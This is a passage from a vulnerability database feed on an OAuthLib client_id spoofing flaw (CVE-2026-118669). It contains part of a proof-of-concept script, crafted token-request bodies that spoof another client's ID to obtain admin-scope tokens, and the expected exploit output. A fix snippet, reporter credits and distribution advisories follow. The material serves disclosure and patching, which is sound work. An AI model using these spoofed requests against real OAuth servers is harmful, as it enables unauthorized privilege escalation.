SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n    \"control client_credentials as low requesting admin\",\n    \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n    \"control password as low requesting admin\",\n    \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed password as low with client_id=high\",\n    \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\": \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n    if request.client_id is not None and request.client_id != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/","status":"published","published":"2026-10-30T22:58:16Z","modified":"2026-10-30T23:15:08.286894189Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:46:40.657155Z"},{"id":"ROOT-APP-PYPI-CVE-2026-118669","title":"CVE-2026-118669 in oauthlib - Patched by Root","description":"Root has patched CVE-2026-118669 in the oauthlib package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-11-06T09:51:23Z","modified":"2026-11-06T10:15:03.124553166Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high"}],"updated_at":"2026-11-06T10:38:22.758306Z"},{"id":"UBUNTU-CVE-2026-118669","description":"OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.","status":"published","published":"2026-10-28T22:17:00Z","modified":"2026-11-05T04:42:51Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high"}],"updated_at":"2026-11-05T13:33:25.727744Z"},{"id":"AZL-112133","title":"CVE-2026-118669 affecting package python-oauthlib 3.2.2-4","description":"OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.","status":"published","published":"2026-10-28T22:17:12Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"openSUSE-SU-2026:12520-1","title":"python313-oauthlib-4.0.1-1.1 on GA media","description":"These are all security issues fixed in the python313-oauthlib-4.0.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-11-10T00:00:00Z","modified":"2026-11-11T17:23:10.725810541Z","updated_at":"2026-11-11T17:47:15.466074Z"}]}}
